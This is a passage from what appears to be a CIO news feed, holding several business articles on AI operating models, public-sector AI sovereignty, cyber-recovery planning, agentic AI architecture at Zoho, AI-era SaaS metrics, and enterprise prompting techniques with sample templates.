As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Smaller, smarter, safer: How to build agentic AI on the right foundation

Sat, 25 Jul 2026 18:55:52 +0200

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
Smarter: The system around the model decides more than the model does.
Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

The new value architecture of the AI-native SaaS era

Sat, 25 Jul 2026 18:55:51 +0200

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

